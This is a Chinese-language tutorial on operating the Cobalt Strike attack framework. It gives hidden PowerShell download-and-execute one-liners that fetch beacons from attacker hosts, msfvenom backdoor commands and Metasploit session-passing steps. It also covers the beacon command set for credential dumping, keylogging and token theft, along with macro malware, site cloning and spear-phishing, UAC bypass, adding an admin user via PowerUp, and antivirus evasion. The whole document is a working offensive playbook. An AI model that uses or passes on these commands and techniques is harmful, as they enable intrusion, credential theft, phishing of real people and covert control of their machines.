Cobalt Strike
安装
启动
Cobalt Strike是一款CS架构
分为服务端程序和客户端程序
TeamServer启动
想要启动CS,首先要启动服务端程序
cd进入Cobalt Strike目录,执行teamserver
-
win环境要在cmd(管理员)中打开
teamserver.bat
文件,并设置ip和访问密码 -
linux环境则执行
teamserver
客户端启动
Windows下打开bat文件,linux下打开sh文件
专业术语
Listener
监听器就是在等待连接被入侵的服务器,
目的有两个
- Listener告诉Cobalt Strike 去为任意一种设置建立“攻击载荷”处理器
- 被命名为一个别名,给处理器和设置信息,并让其他的团队协作者更好的使用
Payload
payload的命名方式遵循MSF框架,分为三部分,操作系统,攻击载荷,传输器
Stager
一个stager(传输器)是一个很小的代码,他连接并下载真实的”攻击载荷“并插入内存
因为有的时候,对攻击载荷的大小进行了限制,这时候,一个传输器就显的很有必要。
Beacon
Beacon是Cobalt Strike的有效载荷,即原始的的payload,当传输器下载了beacon并将其插入内存之后,beacon则开始负责攻击者的连接和回应
重定器(Redirectors)
真实环境中,我们一般会将真实的CS服务器放置在重定器(代理服务器或者端口转发工具)之后,从而来隐藏真实的攻击主机
所用到的工具 :socat工具(可以实现端口转发)
Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
socat转发命令
命令格式
socat TCP4-LISTEN:80,fork TCP4:[team server]:80
socat TCP4-LISTEN:80,fork TCP4:cs.cskali.com:80
这里使用winserver搭建了一个局域网的DNS服务器
然后win10运行客户端CS
然后就是让BT5 和 CentOS使用socat进行端口转发
首先要设置两台电脑的DNS服务器为200的winserver
Linux 下修改 /etc/resolv.conf
文件,将nameserver修改成winserver的ip
现在两台中转服务器的已经可以访问到kali了
然后就是使用socat进行端口转发
这样就将我们的重定向器设置成功了
我们可以通过浏览器进行访问测试, 在web日志中查看访问记录
然后我们进行攻击测试
首先创建监听器
设置监听器成功
然后生成powershell脚本
这里也可以选择r1,或者r2
然后运行获取脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://r1.cskali.com:80/a'))"
或者也可以使用生成exe进行执行
可以看到,这里成功上线
Beacon介绍
Beacon是Cobalt Strike运行在目标主机上的payload,Beacons是在隐蔽信道上给我们提供服务,用于长期控制受感染主机 。它的工作方式与Metasploit类似。在实际渗透过程中,我们可以将其 嵌入到可执行文件 、添加到Word文档或者通过利用主机漏洞来传递Beacon。
beacon命令
beacon> help
Beacon Commands
===============
Command Description
------- -----------
argue 命令行参数欺骗
blockdlls 禁止子进程加载非微软签名的dll
browserpivot 注入浏览器进程代理用户已认证身份(仅支持IE)
cancel 取消正在下载的文件
cd 跳转目录
checkin 强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
chromedump 提取Chrome保存的账号密码、Cookies等信息
clear 清空beacon任务队列
connect 通过TCP正向连接远程Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从域控提取密码hash
desktop 远程VNC控制用户桌面
dllinject 注入一个内存反射加载的dll到目标进程
dllload 使用LoadLibrary方式在目标进程中加载一个dll
download 下载文件
downloads 列出所有正在下载的文件
drives 列出所有磁盘盘符
elevate 利用提权漏洞获取一个高权限Beacon
execute 在目标上执行程序(无回显)
execute-assembly 在目标上内存加载执行本地.NET程序
exit 结束当前Beacon会话
getprivs 在当前进程访问令牌(access token)中启用system特权
getsystem 尝试获取SYSTEM用户权限
getuid 获取当前进程访问令牌(access token)的用户信息
hashdump 获取本地用户hash
help 帮助信息
inject 在指定进程中注入新的Beacon会话
inline-execute 在当前会话中执行Beacon Object File
jobkill 结束一个后台任务
jobs 列出所有后台任务
jump 在远程机器上植入Beacon(横向移动)
kerberos_ccache_use 从ccache文件导入kerberos票据到当前会话中
kerberos_ticket_purge 清空当前会话中的所有kerberos票据
kerberos_ticket_use 从ticket文件中导入kerberos票据到当前会话中
keylogger 开启键盘记录
kill 结束指定进程
link 通过命名管道正向连接远程Beacon
logonpasswords 使用mimikatz获取密码和hash
ls 列出目录文件
make_token 创建进程访问令牌(access token),仅用于访问网络资源
mimikatz 运行mimikatz
mkdir 创建目录
mode dns 使用DNS A记录作为数据通道(仅支持DNS上线Beacon)
mode dns-txt 使用DNS TXT记录作为数据通道(仅支持DNS上线Beacon)
mode dns6 使用DNS AAAA记录作为数据通道(仅支持DNS上线Beacon)
mv 移动文件
net 网络和主机探测工具(内置net命令)
note 给当前会话添加备注信息
portscan 网络端口扫描
powerpick 内存执行Powershell命令(不调用powershell.exe)
powershell 通过powershell.exe执行Powershell命令
powershell-import 导入本地powershell脚本到当前会话中
ppid 为所有新运行的进程设置伪造的父进程PID
printscreen 使用PrintScr方式截屏
ps 显示进程列表
psinject 注入到指定进程后在内存中执行Powershell命令(不调用powershell.exe)
pth 使用Mimikatz执行Pass-the-hash
pwd 显示当前目录
reg 查询注册表
remote-exec 在远程机器上执行命令(横向移动)
rev2self 恢复原始进程访问令牌(access token)
rm 删除文件或文件夹
rportfwd 反向端口转发(从Cobalt Strike Teamserver发起连接)
rportfwd_local 反向端口转发(从Cobalt Strike客户端发起连接)
run 在目标上执行程序(有回显)
runas 以另一个用户身份执行程序
runasadmin 以高权限执行程序
runu 以另一个进程PID作为父进程PID,并以其用户身份执行程序
screenshot 截屏
screenwatch 屏幕监控,每隔一段时间截屏
setenv 设置环境变量
shell 使用cmd.exe执行命令
shinject 注入shellcode到指定进程中
shspawn 创建傀儡进程并注入shellcode到其中运行
sleep 设置beacon回连间隔时间
socks 启动SOCKS4a代理服务器
socks stop 停止SOCKS4a代理服务器
spawn 创建一个新Beacon会话
spawnas 以另一个用户身份创建一个新Beacon会话
spawnto 设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
spawnu 以另一个进程PID作为父进程PID,并以其用户身份创建一个新Beacon会话
spunnel 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike Teamserver发起连接)
spunnel_local 运行第三方agent shellcode并将其反向代理到控制端(从Cobalt Strike客户端发起连接)
ssh 通过SSH连接远程主机(使用账号密码认证)
ssh-key 通过SSH连接远程主机(使用证书私钥认证)
steal_token 从指定进程中窃取访问令牌(access token)
timestomp 复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
unlink 断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
upload 上传文件
Beacon的分类
- DNS Beacon
- HTTP 和 HTTPS Beacon
- SMB Beacon
- TCP Beacon
- External C2
- Foreign HTTP 和 Foreign HTTPS
DNS Beacon
DNS 信标可以通过 DNS TXT 记录、DNS AAAA 记录或 DNS A 记录下载任务。此有效负载在目标上时可以灵活地在这些数据通道之间切换。使用信标的模式命令更改当前信标的数据通道。模式DNS 是 DNS A 记录数据通道。模式 dns6是 DNS AAAA 记录通道。并且,模式 dns-txt是 DNS TXT 记录数据通道。默认值为 DNS TXT 记录数据通道。
当受害者请求域名对应的IP时候,会从根域名一级一级向下寻找记录,我们的TeamServer也会充当一个DNS服务器,最终找到我们的TeamServer,DNS响应告诉Beacon休眠或者连接到团队服务器来下载任务。DNS响应同时也告诉Beacon如何从团队服务器下载任务。
操作
首先要进行dns的解析设置
A记录指向teamserver
NS记录 记录teamserver的域名
然后设置监听
生成powershell脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://team.dnskali.com/dns'))"
在受害机执行
然后checkin进行回连,成功上线
用户驱动攻击
屏幕截图(screenshot)
屏幕截图之后,可以在屏幕截图的窗口查看截图的内容
进程列表
这里 PID是 ProcessID 也就是进程ID
PPID是Parent Process ID 父进程ID
屏幕截图(screenshot
)
这里也有一个屏幕截图功能,需要选择一个进程,一般选取是管理员权限的进程进行截图,点击后会进行提示
可以看到,这里已经成功截图
键盘记录(keylogger
)
成功
这里可以通过与beacon交互命令关闭键盘记录
jobs
查看当前的任务
jobkill <JID>
kill任务 注意是JID
在键盘记录这里右键删除是无法删除键盘记录器的
终止进程(kill <PID>
)
截取令牌(steal_token <PID>
)
注入进程(inject PID <Arch> <beacon_name>
)
在进程列表里可以快速搜索(ctrl + F
)
注入进程可以在其他进程当中注入监听器
文件浏览
可以进入当前进程当中
在这里可以上传文件、目录
下载文件、执行文件
等一系列操作
端口扫描(portscan
)
也可以直接使用命令进行端口扫描
portscan [目标列表] [端口列表] [arp|icmp|none] [最大连接数(一般为1024)]
对指定的 [主机列表] 启动端口扫描
[目标列表] 是要扫描的主机列表,使用逗号分隔。 也可以指定IPv4
地址段(例如192.168.1.128-192.168.2.240,192.168.1.0/24)
[端口列表] 是要扫描的端口列表,使用逗号分隔。 也可以指定端口范围(例如1-65535)
[arp|icmp|none] 选项用于指示端口扫描器如何确定主机是否存活
ARP选项使用ARP来查看系统是否响应指定的地址,ICMP选项发送ICMP回显请求
none选项告诉端口扫描器假定所有主机均存活
[最大连接数] 选项可限制端口扫描器同时尝试连接的数量,端口扫描器使用异步I/O,
能够一次处理大量连接,越高的连接数将扫的越快,默认值为1024
然后扫描完可以目标列表进行目标查看
网络探测(net view
)
VNC桌面交互(desktop
)
使用VNC远程桌面必须有相关dll
相关dll放在这个文件夹中
浏览器代理(browserpivot <PID> <Arch>
)
关闭则需要在beacon中输入命令
browserpivot stop
会话管理
Cobalt Strike 派生会话
-
增加自身会话
-
在其他teamserver 做备份会话
CS 派生 MSF 会话
设置Metasploit
这里使用的 payload是 windows/meterpreter/reverse_http
$ msfconsole
msf> use exploit/multi/handler # 使用的模块
msf> set payload windows/meterpreter/reverse_http
msf> show options
msf> set LHOST 192.168.80.128
msf> set LPORT 8800
msf> exploit -j # 后台运行
设置Cobalt Strike 监听器
将CS会话派生给监听器
可以看到,msf这边已经传来了会话
MSF传递会话到CS
设置CS监听器(Beacon HTTP)
生成MSF后门文件
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.80.128 LPORT=8008 -f exe > msfshell.exe
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=47.93.172.190 LPORT=228 -f exe > msfshell.exe
生成后门文件后传个受害机WIN10
然后在MSF中设置监听
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.80.128
LHOST => 192.168.80.128
msf6 exploit(multi/handler) > set LPORT 8008 # 这里的端口号要与后门文件中保持一致,因为要接收后门传递的数据
LPORT => 8008
msf6 exploit(multi/handler) > exploit
当打开了后门文件时,kali这边成功获取meterpreter会话
background放置后台
然后调用 payload_inject 模块,将该会话session id 再注入到新的CobaltStrike会话中
msf6 exploit(multi/handler) > back
msf6 > use exploit/windows/local/payload_inject
msf6 exploit(windows/local/payload_inject) > set payload windows/meterpreter/reverse_http
payload => windows/meterpreter/reverse_http
msf6 exploit(windows/local/payload_inject) > set LHOST 192.168.80.128 # CS服务端的IP
LHOST => 192.168.80.128
msf6 exploit(windows/local/payload_inject) > set LPORT 80 # 和CS服务端监听端口保持一致
LPORT => 80
msf6 exploit(windows/local/payload_inject) > set prependmigrate true # 告诉MSF修改其stager,即在利用之后立即迁移到另一个进程中
prependmigrate => true
msf6 exploit(windows/local/payload_inject) > set disablepayloadhandler true # 告诉MSF不需要在metasploit框架内处理程序来服务有效负载连接
disablepayloadhandler => true
msf6 exploit(windows/local/payload_inject) > set session 1 # 被注入session的 id
session => 1
msf6 exploit(windows/local/payload_inject) > run
成功上线
MSF生成木马CS监听
同上一操作,在生成木马时,直接将IP和端口设置为CS服务器IP及监听器的端口
这样,木马则直接发送数据到CS
攻击方式
生成后门
HTA文档
HTML应用HTML Application
生成(executable/VBA/powershell)这3种原理不同的VBScript实现的evil.hta
文件。
Office宏病毒
什么是Office宏病毒
可以生成恶意宏,当受害者打开文档时,就会执行宏病毒
宏文件后缀名最后一个字母一般为m
操作如下
- 生成宏代码
-
在一个合适的文档中设置宏
-
另存为一个支持宏的文件
-
打开文件,启用宏
-
成功上线
Payload生成器
可以输出很多格式
Windows可执行程序(E)
这里也有三种,普通的exe,服务,dll
Windows可执行程序(Stageless)
Stageless 表示把包含payload在内的"全功能"被控端都放入生成的可执行文件beconX64.exe(313kb) beconX64.dll(313kb) becon.ps1(351kb)
钓鱼模块
站点管理
打开之后再下方会出现web站点的信息
网站克隆
网站克隆只可以克隆http协议的网站
这里我开始了
然后受害机访问,并输入信息
因为我们做了键盘监听,所以这里可以接受到键盘记录
文件托管
一般联合克隆网站一起使用,
首先将生成的后门文件先进行托管
然后克隆所需要的网站,并设置所托管的文件,
当受害者进行访问时,就会开始下载后门,打开过后,受害机就会向Cobalt Strike发送请求,
Cobalt Strike监听到就会产生通信,进行会话。
web投递(Stageless)
可以生成payload一句话,当受害主机执行命令,就可以获得一个会话
Java签名Applet攻击(S)
目前该攻击方法已过时。
Java 智能Applet攻击(T)
目前该攻击方法已过时。
信息搜集(P)
这里跳转URL设置成正常页面,注意要带上协议
访问之后,就会收集该电脑的信息,并跳转到页面
MSF溢出代码攻击和CS联动
使用漏洞ms14-064、
MSF攻击模块ms14_064_ole_code_exection
Payload windows/meterpreter/reverse_tcp
受害机访问网页
KALI中监听到,并发送stager
我这里没有获取会话,但是可以看到已经进行了溢出攻击
鱼叉钓鱼(Spear phishing),鱼叉式网络钓鱼
CS邮箱钓鱼步骤:
创建一个目标清单
制作一个邮件模板或者使用之前制作好的模板,克隆网站
选择一个用来发送邮件的邮件服务器
发送邮件
目标清单
目标清单就是一个保存了攻击目标的邮箱,也可以增加使用一个标签或者名称
这里使用临时邮箱,注意,中间的分隔符是一个[TAB]
abc1@chacuo.net test1
abc2@chacuo.net test2
abc3@chacuo.net test3
邮件模板
从自己的邮箱中找一个模板
然后将邮箱原文另存为一个txt文件
readmail.txt
发送成功
这里,可以伪造连接,让受害者进入你设置好的钓鱼网页,联合克隆网站会有很好的效果
权限提升
Bypass UAC
首先先了解一下UAC(User Account Control)机制
自 Windows vista 开始,Windows 系统引进了用户账户控制机制,UAC 机制在 Win 7中得到了完善。UAC 与 UNIX 中的 sudo 工作机制十分相似,平时用户以普通权限工作,当用户需要执行特权操作时,系统会询问他们是否要提升权限。
使用whoami /groups
命令可以看到当前用户所在的组以及权限,使用net localgroup administrators
可以查看当前在管理员组里的用户名。
这里我们提权的是一台WIN7系统
whoami /groups
查看当前win用户(别名表示当前用户)
为超级管理员账户
使用UAC提权
获取system权限
这里用到的是ms14-058
获取了SYSTEM权限
Spawn As
使用账号和密码获取一个该用户的权限
域信息填写一个“点”代表本地用户
可以看到成功获取win10用户的会话
spawnas .\win10 123456 http beacon
PowerUp
这里有篇文章写的很详细,here~~~
还有一个对于PowerUp攻击模块的讲解,这里哦
漏洞利用原理
windows 的一个逻辑漏洞,即当文件包含空格时,windows API 会解释为两个路径,并将这两个文件同时执行,有些时候可能会造成权限的提升
Windows系统服务文件在操作系统启动时会自动加载,如果一个低权限用户对系统调用的程序具有可写的权限,那就代表可以将其替换成我们的恶意可执行文件,当系统加载时就会启动。
PowerUp 所做的事是寻找可能存在弱点的地方,从而帮助提权。
加载脚本
这里使用到 PowerUp.ps1 文件
在CS中导入PowerUp.ps1
pwoershell-import
检查漏洞
powershell Invoke-AllChecks
开始检查
检查返回了很多服务的信息,很多都具有高权限
并且在AbuseFunction
信息中,直接给出了利用方式
使用 icacls
查看权限
可以看到,这个目录对所有用户都有F权限,即完全访问权限
增加系统用户(高权限)
这是按照AbuseFunction
给出的利用方式增加用户
powershell Install-ServiceBinary -ServiceName 'edgeupdate' -UserName attack -Password 123456
当管理员用户重新调用服务之后,就会执行我们添加账户的命令,从而获取一个新账户
然后就可以使用Spawn As增加一个attack用户的会话
域渗透
免杀
绕过DKIM、SPF 和 DMARC
DKIM、SPF 和 DMARC这三个组件都是邮件用于帮助识别垃圾信息的附加组件
若目标使用了这三个组件,我们在发送邮件时就需要满足这写组件的标准
杀毒软件绕过
首先大致了解一下杀毒软件都干了什么:
- 已知病毒签名数据库:大多数的杀毒软件都有一个已知病毒的签名数据库,通过将文件与库中的已知病毒进行比对,从而判断是否为病毒
- 启发式扫描:当启动一个可执行文件时,杀毒软件会先检查,并与已知病毒比对
- 行为监测法:当杀毒软件监测到程序存在异常行为,比如调用其他的高权限进程,修改重要文件等等,就会判断其行为严重程度,并做判断
这里也有一篇对于杀毒软件原理的文章,here~~
Comments NOTHING